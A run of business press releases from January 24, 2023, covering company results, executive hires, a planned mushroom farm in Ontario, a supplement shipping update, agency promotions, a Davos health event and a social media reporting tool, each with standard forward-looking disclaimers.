partners; anticipated events and trends; the economy and other future conditions; and other risks and uncertainties, including those described in Sekur's prospectus dated May 8, 2019 filed with the Canadian Securities Administrators and available on www.sedar.com . Accordingly, actual and future events, conditions and results may differ materially from the estimates, beliefs, intentions and expectations expressed or implied in the forward-looking information. Except as required under applicable securities legislation, Sekur undertakes no obligation to publicly update or revise forward-looking information.

SOURCE: Sekur Private Data Ltd.

View source version on accesswire.com:https://www.accesswire.com/736446/Sekur-Private-Data-to-Present-at-Emerging-Growth-Conference-on-January-25th-2023
NEW YORK, NY / ACCESSWIRE / January 24, 2023 / New America Energy Corp. (OTC PINK:NECA), and its operating subsidiary, Third Bench Holdings, LLC ("Third Bench" or the "Company"), are pleased to report that the Company has posted its Annual Report for the fiscal year ending August 31, 2022, with OTC Markets.

The Company's Gross Profit increased from just under $4.0 million for the 2021 fiscal year to just over $7.3 million for the 2022 fiscal year. This represents an increase of approximately 85%.

Sales for the 2022 fiscal year increased from approximately $14.8 million to approximately $19.9 million. This represents an increase of approximately 35%.

The Company's Current Assets on August 31, 2022, were approximately $8.7 million, vs. approximately $5.0 million on August 31, 2021. This represents an increase of approximately 74%.

"We are very encouraged by our growth in 2022. The growth consisted of internal growth as well as acquisitions, including the acquisition of Davis Kitchens in Albuquerque. As we work to integrate our operating subsidiaries more synergistically, we expect to see increased growth and profitability," stated David Fair, the Company's CEO.

Mr. Fair continued, "We feel like we have a great foundation in place to build on, and we are looking forward to dramatically growing our businesses in fiscal 2023."

About Third Bench Holdings, LLC

Third Bench, a subsidiary of New America Energy Corp., operates five subsidiary companies operating as architectural millwork and dealers in the cabinetry, kitchen, and bath areas. Third Bench, through its subsidiary companies, offers products in these categories: residential and commercial cabinets throughout the Western U.S. for customers. Third Bench also provides installation services as a part of its vertical offering.

Third Bench Holdings, LLC

175 S. Main Street #1410

Salt Lake City, UT 84111

https://thirdbench.com/

NECA Contact:

Investor Relations

info@thirdbench.com

https:/twitter.com/necaholdings

Safe Harbor

This release may contain certain forward-looking statements regarding our prospective performance and strategies within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended. Forward-looking statements, which are based on certain assumptions and describe future plans, strategies, and expectations of our company, are generally identified by use of words "anticipate," "believe," "estimate," "expect," "intend," "plan," "project," "seek," "strive," "try," or future or conditional verbs such as "could," "may," "should," "will," "would," or similar expressions. Our ability to predict results or the actual effects of our plans or strategies is inherently uncertain. Accordingly, actual results may differ materially from anticipated results. Some of the factors that could cause our actual results to differ from our expectations or beliefs include, without limitation, the risks discussed from time to time in our filings with the Securities and Exchange Commission. Readers are cautioned not to place undue reliance on these forward-looking statements, which speak only as of the date of this release. Except as required by applicable law or regulation, we undertake no obligation to update these forward-looking statements to reflect events or circumstances that occur after the date on which such statements were made.

SOURCE: New America Energy Corp.

View source version on accesswire.com:https://www.accesswire.com/736454/Annual-Financial-Statement-Overview
Vancouver, British Columbia--(Newsfile Corp. - January 24, 2023) - Wedgemount Resources Corp. (CSE: WDGY) (OTCQB: WDGRF) ("Wedgemount" or the "Company"), is pleased to announce that Ms. Heidi Flaig has been retained as Senior Operations Manager for the Company's Permian Basin oil and gas assets located in west central Texas. Ms. Flaig and her firm, Petrosaurus Inc., will function as a turnkey technical and business service provider to the Company's US Subsidiary, Wedgemount Texas Corp. ("WTC").

Mark Vanry, President and CEO of Wedgemount, comments, "We are thrilled to welcome Heidi to the WTC team. Heidi and her colleagues at Petrosaurus Inc. bring over forty years' experience providing turnkey operational and business solutions to oil and gas companies in the central Texas region. Heidi's ability to source underproducing asset opportunities, implement development plans, enhance production, and maximize operational efficiencies will prove invaluable to WTC as it executes its oil and gas strategy. Importantly, Ms. Flaig's firm owns the equipment necessary to construct and maintain our sites which provides WTC with the most competitive costs and rapid response times while avoiding the confusion and delays that so often occur when third party vendors are involved."

Ms. Flaig is currently President of Petrosaurus, Petrosaurus Solutions, and CEO of IAO Energy. She brings 20+ years of experience working with US based E&P companies with a particular focus on helping companies overcome operational and technical issues through the optimization of systems. Innovative chemical solutions developed by Ms. Flaig that are customizable for Texas oil and gas challenges, provide a key component of Petrosaurus' value add. Heidi also brings seven years management experience building oil and gas companies through coordinated management of strategic business projects to build credibility with stakeholders at multiple levels.

About Wedgemount Resources Corp.

Wedgemount Resources is a junior natural resources company focused on maximizing shareholder value through the acquisition, discovery and advancement of natural resource projects in North America.

On behalf of the Board of Directors,

WEDGEMOUNT RESOURCES CORP.

Mark Vanry, President and CEO

For more information, please contact the Company at:

Telephone: (604) 343-4743

info@wedgemountresources.com

www.wedgemountresources.com

Reader Advisory

This news release may contain statements which constitute "forward-looking information", including statements regarding the plans, intentions, beliefs and current expectations of the Company, its directors, or its officers with respect to the future business activities of the Company. The words "may", "would", "could", "will", "intend", "plan", "anticipate", "believe", "estimate", "expect" and similar expressions, as they relate to the Company, or its management, are intended to identify such forward-looking statements. Forward-looking statements made in this news release include the Company's plans for exploration of the property and anticipated exploration results. Investors are cautioned that any such forward-looking statements are not guarantees of future business activities and involve risks and uncertainties, and that the Company's future business activities may differ materially from those in the forward-looking statements as a result of various factors, including, but not limited to, availability of funds, personnel and other resources necessary to conduct exploration programs, successes of the Company's exploration programs, availability of capital and financing and general economic, market or business conditions. There can be no assurances that such information will prove accurate and, therefore, readers are advised to rely on their own evaluation of such uncertainties. The Company does not assume any obligation to update any forward-looking information except as required under the applicable securities laws.

Neither the Canadian Securities Exchange nor the Investment Industry Regulatory Organization of Canada accepts responsibility for the adequacy or accuracy of this release.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152173
Through experienced partners, Red Light's Farm Division plans on growing mushroom production with projected additional 65,000 sq feet of "Innovative and Unique" mushroom production facilities





Red Light Holland is currently working with an expert mushroom design firm in The Netherlands and experienced Canadian engineers





Plans are expected to be submitted to the township of Cavan-Monaghan in Peterborough, Ontario within 8 weeks

Toronto, Ontario--(Newsfile Corp. - January 24, 2023) - Red Light Holland Corp. (CSE: TRIP) (FSE: 4YX) (OTCQB: TRUFF) ("Red Light Holland" or the "Company"), an Ontario-based corporation engaged in the production, growth and sale of functional mushrooms and mushroom home grow kits in North America and Europe, and a premium brand of psilocybin truffles to the legal, recreational market within the Netherlands, in compliance with all applicable laws is pleased to provide an update further to its press release dated June 20, 2022, whereby the Company had acquired 100 acres of farmland located in the Township of Cavan-Monaghan (the "Township") in Peterborough, Ontario (the "Peterborough Farm") for $1.85 million paid in cash. With great enthusiasm, the Company proudly presents an initial draft 3D rendering of the future Peterborough Farm.

Figure 1

To view an enhanced version of this graphic, please visit:

https://images.newsfilecorp.com/files/2017/152298_082860c33466cbcb_001full.jpg

The Company continues to work with Acadian Exotic Mushrooms Ltd. ("AEM Farms"), an operating gourmet mushroom production facility in New Brunswick, Ontario, which is majority owned by Red Light, and co-owned by the leading Canadian mushroom farming groups and individuals: Holburne Mushroom Farm and Mike and Fernando Medeiros of Carleton Mushroom Farms, to develop two mushroom production facilities with the aggregate footprint of 65,000 sq. ft. (the "Mushroom Facilities") to be located on the Peterborough Farm. This development will enable the Company to dramatically expand its farm division ("Red Light Farms"), by adding the Peterborough Farm to its existing portfolio of farms: Happy Caps Gourmet Mushroom Farm in Halifax, Nova Scotia, AEM Farms in New Brunswick, Ontario, and MiniChamp BV Home Grow Kit Farm and Red Light's Truffle Farm - both located in Horst, The Netherlands.

The Company has had further productive conversations with the Township and is currently working with an expert mushroom farm design firm in The Netherlands and experienced Canadian engineers to finish the site plans. With the design phase nearing completion, the Company intends to submit the finalized engineered stamped plans within the next 8 weeks to the Township in order to begin the approval process as the Company seeks to obtain permits for the construction of the Mushroom Facilities.

"Red Light Holland remains very confident because of how prudent we have been at running our psychedelic business, preserving cash at a time when most of our peers are straining to attract new capital. Red Light Holland on the other hand, still has a significant cash position as we are clearly focused on increasing revenues while having a strategic and aligned plan to grow, in order to weather difficult markets and harder economic times." said Todd Shapiro, CEO and Director of Red Light Holland. "These were the same words I used in our June 20, 2022, press release and I reiterate them today again because our vision remains unchanged. We have a clear direction and don't mind being patient as we aim on growing now and in the future. We look forward to updating the market once plans are submitted, approvals are obtained, and of course when the Peterborough Farm commences operations where we expect to have significant revenue generation with the ultimate goal of always doing our best to create shareholder value. Personally I've always had a vision board with optimistic individual goals with many of my pictures coming to fruition in real life. My new Screensaver is the 3D rendering shown above. I love my new Red Light Holland vision board and look forward to the future!" added Mr. Shapiro.

Once completed, the Peterborough Farm is expected to immediately generate revenues of approximately $80,000 per week. As it ramps up to its full production capacity, the Company expects a revenue run rate of approximately $16.0 to $17.0 million per annum with strong profit margins and cash flows from operations.

The Mushroom Facilities should take approximately 18 months to construct following the submission of the final plans to the Township. The cost to build the Mushroom Facilities is estimated to be around $8.0 million.

The above referenced sales and construction information represents our previous MD&A disclosures on the topics. The sales figures were developed using both production and market demand information provided by our in-house mushroom experts.

"The purchase of 100 acres of farmland and these current engineered plans will provide AEM Farms with another great opportunity, which we feel will be very successful," said Mike Medeiros, co-owner of Carleton Mushroom Farms and President of Mushrooms Canada. "As planning continues and the permit process begins, we look forward to starting to build an advanced world class mushroom farm - so innovative and unique in fact, that only a few like it exist in the world," added Mr. Medeiros.

About Mike and Fernando Medeiros, Carleton Mushroom Farms

Carleton Mushroom Farms, located in Osgoode, Ontario, was founded in 1984 by Mike and Fernando's parents and remains a family run business. Mike and Fernando took over day to day operations in 2005. In recent years growing capacity has tripled, and yields have steadily increased to 12 million pounds per year. Carleton Mushroom Farms implements cutting edge technologies from around the world as part of their growing practices. Website: https://www.carletonmushroom.com/.

About Holburne Mushroom Farm

Holburne Mushroom Farm, located in Greenwood, Ontario, is a local family owned and operated business that specializes in growing fresh, organic Shiitake and Oyster Mushrooms since 2005. Production of Organic Shiitake and Oyster Mushrooms has steadily increased to current yield of 1.3 million pounds per year. Proudly, the largest fresh, Organic Shiitake Mushroom growers in Canada.

About Red Light Holland

Red Light Holland is an Ontario-based corporation engaged in the production, growth and sale of functional mushrooms and mushroom home grow kits in North America and Europe, and a premium brand of psilocybin truffles to the legal, recreational market within the Netherlands, in compliance with all applicable laws.

For additional information on the Company:

Todd Shapiro

Chief Executive Officer & Director

Tel: 647-643-TRIP (8747)

Email: todd@redlight.co

Website: www.redlight.co

Neither the Canadian Securities Exchange nor its Market Regulator (as that term is defined in the policies of the Canadian Securities Exchange) accepts responsibility for the adequacy or accuracy of this release.

Forward-Looking Statements

This press release contains certain "forward-looking information" within the meaning of applicable Canadian securities legislation. Such forward-looking information and forward-looking statements are not representative of historical facts or information or current condition, but instead represent only the Company's beliefs regarding future events, plans or objectives, many of which, by their nature, are inherently uncertain and outside of the Company's control. Often, but not always, forward-looking statements and information can be identified by the use of words such as "plans", "expects" or "does not expect", "is expected", "estimates", "intends", "anticipates" or "does not anticipate", or "believes", or variations of such words and phrases or state that certain actions, events or results "may", "could", "would", "might" or "will" be taken, occur or be achieved. Forward-looking information involves known and unknown risks, uncertainties and other factors which may cause the actual results, performance or achievements of the Company, AEM Farms, Red Light Farms or their respective subsidiaries to be materially different from any future results, performance or achievements expressed or implied by the forward-looking information contained in this news release. Examples of such information include statements with respect to: the Company's plans of increasing its mushroom production with the design, approval, construction and future operations of the Peterborough Farm; the proposed design, construction, and obtaining all necessary approvals from any external parties, including the Township, needed for the Mushroom Facility; the Peterborough Farm will enable the Company to dramatically expand its farm division; the expected revenues and expenses of the Peterborough Farm; the timing with respect to the Company's plans to submit the Mushroom Facility' plans to the Township and the construction thereof; the continued compliance of all applicable laws with respect to the Company's products and operations; the continued offering of the Company's products herein described; and the continued operation of the Company businesses and subsidiaries.

Forward-looking information is based on a number of key expectations and assumptions made by Red Light Holland, including without limitation: the Company will increase its mushroom production through the design, approval, construction and future operations of the Peterborough Farm; the Company will complete its design, construction, and obtain all necessary approvals from any external parties, including the Township, needed for the Mushroom Facility; the Peterborough Farm will enable the Company to dramatically expand its farm division; the actual revenues and expenses of the Peterborough Farm with be as forecasted; the timing with respect to the Company's plans to submit the Mushroom Facility' plans to the Township and the construction thereof with be as forecasted; the Company will remain in compliance of all applicable laws with respect to the Company's products and operations; the Company will continue offering products herein described; and the Company businesses and subsidiaries will continue to operate as herein described.

These statements involve known and unknown risks, uncertainties and other factors, which may cause actual results, performance or achievements to differ materially from those expressed or implied by such statements, including but not limited to: the Company's inability to increase its mushroom production through the design, approval, construction and future operations of the Peterborough Farm; the Company's inability to complete its design, construction, and obtain all necessary approvals from any external parties, including the Township, needed for the Mushroom Facility; the Peterborough Farm's inability to enable the Company to dramatically expand its farm division; the actual revenues and expenses of the Peterborough Farm with not be as forecasted; the timing with respect to the Company's plans to submit the Mushroom Facility' plans to the Township and the construction thereof with not be as forecasted; the Company's inability to remain in compliance of all applicable laws with respect to the Company's products and operations; the Company's inability to continue offering products herein described; and the Company businesses and subsidiaries' inability to continue to operate as herein described.

Readers are cautioned that the foregoing list is not exhaustive. Readers are further cautioned not to place undue reliance on forward-looking statements, as there can be no assurance that the plans, intentions or expectations upon which they are placed will occur. Such information, although considered reasonable by management at the time of preparation, may prove to be incorrect and actual results may differ materially from those anticipated.

Forward-looking statements contained in this press release are expressly qualified by this cautionary statement and reflect the Company's expectations as of the date hereof and are subject to change thereafter. The Company undertakes no obligation to update or revise any forward-looking statements, whether as a result of new information, estimates or opinions, future events or results or otherwise or to explain any material difference between subsequent actual events and such forward-looking information, except as required by applicable law.

CAUTIONARY NOTE REGARDING FUTURE ORIENTED FINANCIAL INFORMATION

This press release may contain future oriented financial information ("FOFI") within the meaning of Canadian securities legislation, about prospective results of operations, financial position or cash flows, based on assumptions about future economic conditions and courses of action, which FOFI is not presented in the format of a historical balance sheet, income statement or cash flow statement. The FOFI has been prepared by management to provide an outlook of the Company's activities and results and has been prepared based on a number of assumptions including the assumptions discussed under the heading above entitled "Cautionary Note Regarding Forward-Looking Statements" and assumptions with respect to the costs and expenditures to be incurred by the Company, capital expenditures and operating costs, taxation rates for the Company and general and administrative expenses. Management does not have, or may not have had at the relevant date, firm commitments for all of the costs, expenditures, prices or other financial assumptions which may have been used to prepare the FOFI or assurance that such operating results will be achieved and, accordingly, the complete financial effects of all of those costs, expenditures, prices and operating results are not, or may not have been at the relevant date of the FOFI, objectively determinable.

Importantly, the FOFI contained in this press release are, or may be, based upon certain additional assumptions that management believes to be reasonable based on the information currently available to management, including, but not limited to, assumptions about: (i) the future pricing for the Company's products, (ii) the future market demand and trends within the jurisdictions in which the Company may from time to time conduct the Company's business, (iii) the Peterborough Farm's expected revenues of approximately $80,000 per week upon being operational, (iv) the estimated revenue run rate of $16.0 to $17.0 million per annum when the Peterborough Farm becomes operational and the resulting strong profit margins and cash flow from operations; and (v) the estimated cost of building the Mushroom Facilities at $8.0 million. The FOFI or financial outlook contained in this press release do not purport to present the Company's financial condition in accordance with International Financial Reporting Standards as issued by the International Accounting Standards Board, and there can be no assurance that the assumptions made in preparing the FOFI will prove accurate. The actual results of operations of the Company and the resulting financial results will likely vary from the amounts set forth in the analysis presented in any such document, and such variation may be material (including due to the occurrence of unforeseen events occurring subsequent to the preparation of the FOFI). The Company and management believe that the FOFI has been prepared on a reasonable basis, reflecting management's best estimates and judgments as at the applicable date. However, because this information is highly subjective and subject to numerous risks including the risks discussed under the heading above entitled "Cautionary Note Regarding Forward-Looking Statements" and under the heading "Risk Factors" in the Company's public disclosures, FOFI or financial outlook within this press release should not be relied on as necessarily indicative of future results.

Readers are cautioned not to place undue reliance on the FOFI, or financial outlook contained in this press release. Except as required by Canadian securities laws, the Company does not intend, and does not assume any obligation, to update such FOFI.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152298
Toronto, Ontario--(Newsfile Corp. - January 24, 2023) - Psyched Wellness Ltd. (CSE: PSYC) (OTCQB: PSYCF) (FSE: 5U9) (the "Company" or "Psyched"), a life sciences company focused on the production and distribution of health and wellness products derived from the Amanita Muscaria mushroom, is excited to announce that it has officially launched with fulfillment partner ShipHero. Customers will now receive their Amanita Muscaria Extract Calm within 5-7 business days across the USA.

ShipHero helps thousands of brands with international fulfillment networks by providing simple, fast, and affordable fulfillment.

Chief Commercial Officer, Matthew Singh, commented: "Our customers are our partners, and we are eager to improve on their experience by getting products into their hands as fast as possible. Shipping has been our biggest challenge because of the high demand of our product. However, we have changed our shipping terms to be as efficient as possible by formalizing our ecommerce fulfillment process. This will allow us to continue building our brand and improving our customer's experience. Orders will be dispatched same-day and tracking updates will be shared with the purchaser throughout the fulfillment process. "

Visit https://shop.psyched-wellness.com/ for more information.

For further information, please contact:



Jeffrey Stevens

Chief Executive Officer

Psyched Wellness Ltd.

Tel: 647-400-8494

Email: jstevens@psyched-wellness.com

Neither the Canadian Securities Exchange nor its Regulation Services Provider have reviewed or accept responsibility for the adequacy or accuracy of this release.

About Psyched Wellness Ltd.:

Psyched Wellness Ltd. is a Canadian-based health supplements company dedicated to the distribution of mushroom-derived products and associated consumer packaged goods. The Company's objective is to create premium mushroom-derived products that have the potential to become a leading North American brand in the emerging functional food category. The Company is in the process of developing a line of Amanita muscaria-derived water-based extracts, teas and capsules designed to help with three health objectives: promote stress relief, relaxation and assist with restful sleeping.

Cautionary Statement Regarding Forward Looking Information

This press release contains "forward-looking information" within the meaning of applicable Canadian securities legislation. These statements relate to future events or future performance. The use of any of the words "could", "intend", "expect", "believe", "will", "projected", "estimated" and similar expressions and statements relating to matters that are not historical facts are intended to identify forward-looking information and are based on the Company's current belief or assumptions as to the outcome and timing of such future events. The forward-looking information and forward- looking statements contained herein include, but are not limited to, statements regarding: the ability of the Company to develop Amanita Muscaria-derived products; the safety of Amanita Muscaria consumption and the safety and purity of any extracts thereof; and (ii) the uses and potential benefits of Amanita Muscaria.

Forward-looking information in this news release are based on certain assumptions and expected future events, namely: the Company's ability to continue as a going concern; the Company's ability to continue to develop its mushroom-derived products and associated consumer packaged goods; continued approval of the Company's activities by the relevant governmental and/or regulatory authorities; and the continued growth of the Company.

These statements involve known and unknown risks, uncertainties and other factors, which may cause actual results, performance or achievements to differ materially from those expressed or implied by such statements, including but not limited to: the potential inability of the Company to continue as a going concern; risks associated with potential governmental and/or regulatory action with respect to the Company's operations; competition within the psychedelics market; risks with respect to the safety of Amanita Muscaria consumption and the safety and purity of any extracts thereof; and the risk that there is no potential benefit of Amanita Muscaria consumption.

Readers are cautioned that the foregoing list is not exhaustive. Readers are further cautioned not to place undue reliance on forward-looking statements, as there can be no assurance that the plans, intentions or expectations upon which they are placed will occur. Such information, although considered reasonable by management at the time of preparation, may prove to be incorrect and actual results may differ materially from those anticipated.

Forward-looking statements contained in this news release are expressly qualified by this cautionary statement and reflect the Company's expectations as of the date hereof and are subject to change thereafter. The Company undertakes no obligation to update or revise any forward-looking statements, whether as a result of new information, estimates or opinions, future events or results or otherwise or to explain any material difference between subsequent actual events and such forward-looking information, except as required by applicable law.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152295
Leadership appointments provide agency scale across key growth areas including PAN's Integrated Marketing, Technology and Healthcare Practices

BOSTON, MA / ACCESSWIRE / January 24, 2023 / PAN Communications , a leading integrated marketing and PR firm for B2B tech and healthcare brands, today announced organizational shifts that mark the next stage of evolution for the business. The strategic hires and senior level promotions shared today are the next phase of a multi-year plan to ensure PAN stays agile and ahead of the curve as industries collectively navigate a new year of challenges, opportunities and growth.

For the first time ever, PAN's leadership bench will include two executive vice presidents and seven senior vice presidents, providing more strategic senior consulting over key areas of the business to help guide our clients and teams. This blend of expertise and versatility enables our midsize agency to scale in ways that take advantage of the market opportunities.

"One of PAN's greatest strengths is that we continue to innovate," says CEO Phil Nardone . "After nearly 30 years in business, and on the heels of our annual strategic offsite meeting, we're still finding new ways to move meaningful ideas into the spotlight. Our clients trust us with their challenges and with their stories and I take great pride in the way our senior leadership continues to grow and evolve to match ever-changing needs."

Top Row, from left to right: Megan Kessler, Chief of Integrated Marketing & Strategy; Zareen Fidlon, Senior Vice President, Integrated Marketing; Adam Novak, Senior Vice President; Emily Holt, Senior Vice President; Bottom Row, from left to right: Catherine Doyle, Senior Vice President; Matthew Briggs, Senior Vice President, Healthcare; Kari Hulley, Senior Vice President, Healthcare

With the strategic evolution of our leadership, PAN is positioned for continued growth in three key ways:

Bolstering of our integrated marketing practice: The agency has been preparing for this moment for nearly a decade. Amid booming demand for dynamic storytelling across integrated channels, PAN has continually invested in key skillsets and new service offerings to uniquely meet marketers at the intersection of digital strategy and traditional storytelling to create a hybrid experience. In 2022, 75% of PAN's organic growth was attributed to integrated marketing offerings. As clients continue to lean on us for our expertise in this space, we are investing further in growing the dedicated IM team. The addition of Zareen Fidlon as dedicated SVP of integrated marketing will be instrumental in continuing to drive value to clients in this area. Additionally, Megan Kessler will transition from Executive Vice President to Chief of Integrated Marketing and Strategy - a new role at PAN critical to creating the firm's next five-year vision for how we build on our IM services, a key component of the firm's organic growth strategy.

The agency has been preparing for this moment for nearly a decade. Amid booming demand for dynamic storytelling across integrated channels, PAN has continually invested in key skillsets and new service offerings to uniquely meet marketers at the intersection of digital strategy and traditional storytelling to create a hybrid experience. In 2022, 75% of PAN's organic growth was attributed to offerings. As clients continue to lean on us for our expertise in this space, we are investing further in growing the dedicated IM team. The addition of as dedicated SVP of integrated marketing will be instrumental in continuing to drive value to clients in this area. Additionally, will transition from Executive Vice President to Chief of Integrated Marketing and Strategy - a new role at PAN critical to creating the firm's next five-year vision for how we build on our IM services, a key component of the firm's organic growth strategy. Additional investment in our technology practice: On the heels of appointing Juliana Allen as dedicated Executive Vice President in late 2022 , we continue to stack this team with industry experts that can guide clients in every niche of this wide-ranging industry. Emily Holt , Catherine Doyle and Adam Novak will join Gene Carozza as Senior Vice Presidents across the technology practice. With PAN's rich heritage in technology , these SVPs allow PAN to service our existing and new clients with senior experts who can support with messaging, positioning and strategic storytelling, crisis communications, acquisitions and IPOs, company pivots and other strategic moments.

On the heels of appointing as dedicated Executive Vice President , we continue to stack this team with industry experts that can guide clients in every niche of this wide-ranging industry. , and will join as Senior Vice Presidents across the technology practice. With PAN's , these SVPs allow PAN to service our existing and new clients with senior experts who can support with messaging, positioning and strategic storytelling, crisis communications, acquisitions and IPOs, company pivots and other strategic moments. Ongoing momentum for our healthcare practice: Building on Dan Martin's appointment last year to Executive Vice President over PAN's growing healthcare practice , Matthew Briggs and Kari Hulley were promoted to Senior Vice Presidents in the practice. With key leadership personnel in place and the anchor healthcare brands PAN is servicing, this team is poised to build on the strong trajectory set in 2022 for another year of double-digit revenue growth. Continuing momentum in this practice area is core to PAN's five-year vision plan.

"We pride ourselves on not just meeting the needs of our clients but anticipating them and ensuring we have the right team structure in place to drive success," says Chief Client Officer Darlene Doyle . "As we guide our clients through their big moments, we are fortunate to bring an unmatched team of senior leaders who can offer their expertise, counsel, strategy and passion to every one of those moments. We are ready to meet our clients at their next stage of growth."

As we commence a new phase of our agency journey, PAN looks forward to working with our clients for the long term, building partnerships and solutions that last and grow with our clients.

About PAN Communications

PAN Communications is a mid-size integrated marketing & PR agency with over 200 employees internationally. PAN helps companies transform ideas into captivating stories that align to mid- and late-stage growth strategies through the firm's NXT Stage approach . Headquartered in downtown Boston, PAN has additional office locations in San Francisco, New York, Orlando, and London, as well as a growing virtual community. The agency's teams are positioned to help brands emerge in new markets and scale globally, with experience driving integrated strategy across a variety of brands like Rapid 7, Citrix, Quickbase, Radial, athenahealth and Smartly.io. For more information visit our website at pancommunications.com and follow us on Twitter ( @PANcomm ).

Contact

Alyssa Tyson

atyson@pancomm.com

SOURCE: PAN Communications

View source version on accesswire.com:https://www.accesswire.com/736401/PAN-Communications-Announces-Strategic-Hires-and-Promotions-of-its-Senior-Leadership-Team-to-Support-the-Agencys-Five-year-Growth-Plan
Brought to you by the same group that organized the first-ever Medical Psychedelics House this past Spring, the event showcased top healthcare innovations to the world's global leaders

Energia Foundation, an organization working at the forefront of healthcare and social movements, hosted theHouse of Health in Davos, Switzerland from January 15 to the 20th alongside the House of Balance located at Muhlestrasse 8, 7260 Davos. The event brought together the biggest contributors to human health innovations from around the globe.

This past spring, the Energia Foundation made waves with the first-ever Medical Psychedelics House of Davos which had over 1 million virtual viewers and thousands of in-person attendees. Throughout the week the Davos House skyrocketed in popularity and greatly expanded psychedelic education globally both during and after the event. This year, the same group led health conversations in Davos, Switzerland to showcase the most cutting-edge innovations in healthcare to the world's most influential stakeholders.

"The House of Health was essential in bringing together key stakeholders including entrepreneurs, investors, political leaders, and philanthropists to better understand the interconnectedness of existential threats, human health, and human consciousness," said Marik Hazan, Executive Director at Energia Foundation and a Managing Partner at Tabula Rasa Ventures. "This was the next step for psychedelics as well as other novel therapies to continue gaining traction globally. Our goal was to educate attendees and solve these complex problems as a community."

At The House of Health, attendees learned from leading experts in the healthcare industry who are setting the narrative for transforming, inspiring, and expanding awareness of the future of health on a global scale, as well as experienced sessions curated to engage all senses through meditation, sound baths, yoga, inspirational sessions, stress reduction tools, and heart intelligence workshops. The majority of conversations and interactive sessions at the event focused on the mind, human consciousness, leadership, investing in health, and sustainable business. Speakers included well-known figures including Nouriel Roubini, the world-renowned economist and author of Megathreats, Maya Albert, Co-Founder of Psyched Studios, Sherry Rais, Co-Founder and CEO of Enthea, Alvaro Guirao, Founder CEO of Wisdom Health, and more.

"We look forward to continuing to spark conversations around the blindspots of global health systems and discussing the future of psychedelic therapeutics, while also providing a global platform for establishing meaningful connections that will shape our world today and have the potential to fundamentally impact its future," said Maria Velkova, Managing Partner of Tabula Rasa Ventures.

Following Davos, The Energia Foundation and Tabula Rasa Ventures, an event sponsor, will be participating in a road show to continue the momentum built at the House of Health in major cities such as London, Dubai, Zurich, New York, and Miami to host events and meet with capital deployers interested in learning more about the blindspots of the healthcare industry. To learn more visit: https://www.energiafoundation.org/davos.

ABOUT THE ENERGIA FOUNDATION:

The Energia Foundation lays the groundwork for establishing institutions that fight for long-lasting and positive changes. Their mission is to heal humanity in remarkable and unexpected ways through powerful events, experiences, and demonstrations. Supported by fieldwork across movements including disability rights, interfaith activism, sex worker's rights, decentralized governance, and healthcare advocacy, the foundation combines a century of experience in movement building and institutional change. Today the organization is responsible for having hosted the first comprehensive psychedelic programming at Davos, launched the first support program for organization builders working to create greater access to novel health therapies, is rolling out the first program focused on reducing trauma for refugees coming out of active war zones, and is working with Howard University Hospital to launch the Center for Collective Healing.

ABOUT TABULA RASA VENTURES

Tabula Rasa Ventures is a venture capital firm dedicated to investing in the blindspots of the healthcare industry and supporting the most ambitious, values-aligned, and effective entrepreneurs building the future of health. The firm works to transform the mental health landscape through new treatments and technologies including psychedelic-assisted therapy. Balancing both impact and profit, the firm has been recognized by entrepreneurs within the psychedelic therapeutics space as "the most founder-friendly VC" and has continued to gain notoriety, not as only the first firm dedicated to advancing psychedelic therapy, but also prioritizing patient outcomes as a core part of its investment strategy.

To learn more visit https://www.energiafoundation.org/

View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005369/en/

Contacts:

MEDIA

Autumn Communications

kendall@autumncommunications.com
NEW YORK, Jan. 24, 2023 /PRNewswire/ -- Dash Hudson is pleased to announce the launch of Campaigns , an intuitive, cross-channel social commerce reporting tool that takes the guesswork out of measuring ROI.





With its new Google Analytics integration, Campaigns enables marketers to gain an accurate representation of global campaign results, providing aggregated insights across owned, earned and creator media to clearly demonstrate cross-channel performance.

"On social networks today, consumers are participating in niche sub-cultures across a wider variety of channels. This allows them to discover the content, creators, communities -- and ultimately, products -- that fit their interests and needs," says Marie La France, Vice President of Strategy at Dash Hudson. "In this multi-channel reality, it has become critical for brands to diversify their efforts to maximize ROI. As such, a tool like Campaigns is required to take the complexity out of measuring these increasingly robust strategies."

In a recent study of 2,700 brand-led campaigns, Dash Hudson underscored the importance of bringing its latest innovation to market. The study uncovered that cross-channel campaigns outperform single-channel campaigns in terms of engagement rate, total engagements and impressions -- with metrics increasing with the addition of each new channel. Despite the proven value of a multi-channel approach, measuring the performance of such initiatives has proven difficult for marketers.

"Between pulling numbers and formatting, our old monthly reports took a week across the team to have ready. Campaigns makes it instant. We've reduced our reporting time from a week to a single day, thanks to Dash Hudson." - Remi Ipekci, Global Head of Digital Marketing & Social Media at Stella McCartney

With Campaigns, social media teams are able to:

Understand performance: Easily identify which content types, creators, channels and formats within a campaign drive the most revenue. In one streamlined view, brands can seamlessly analyze key insights, determine which content and partnerships are performing and use this data to optimize future campaigns accordingly.

Uncover ROI: With its Google Analytics integration, brands can easily evaluate which campaigns and channels are driving website traffic to better understand how your campaigns are impacting the bottom line.

Save time: Manually segmenting campaign media can take valuable time away from developing great strategies and creative. Brands can now instantly report on the performance of a cross-channel social media campaign and easily share the report within their organization, in just a few clicks.

Experience the power of Campaigns by trying a free interactive demo today.

About Dash Hudson

Dash Hudson is a social media management platform that equips brands with intelligence, speed and creative ability to stay ahead of the social curve. Through cross-channel insights and improved team efficiency, Dash Hudson drives consistent business results by fuelling smarter decisions and enabling brands to craft content that entertains, engages and inspires. To discover how Dash Hudson is empowering brands to move at the speed of social, visit dashhudson.com .





Photo - https://mma.prnewswire.com/media/1983391/Dash_Hudson_Inc__Dash_Hudson_Releases_Powerful_Social_Media_Camp.jpg

Logo - https://mma.prnewswire.com/media/1983390/Dash_Hudson_Inc__Dash_Hudson_Releases_Powerful_Social_Media_Camp.jpg

For all PR and media inquiries or to speak with a representative regarding this press release, please contact pr@dashhudson.com.

View original content:https://www.prnewswire.co.uk/news-releases/dash-hudson-releases-powerful-social-media-campaigns-reporting-tool-with-google-analytics-integration-301725336.html
The UltiMaker S7 builds on the award winning S-Series printers, with new features including an integrated Air Manager and a flexible build plate which takes ease-of-use and reliability to a new level

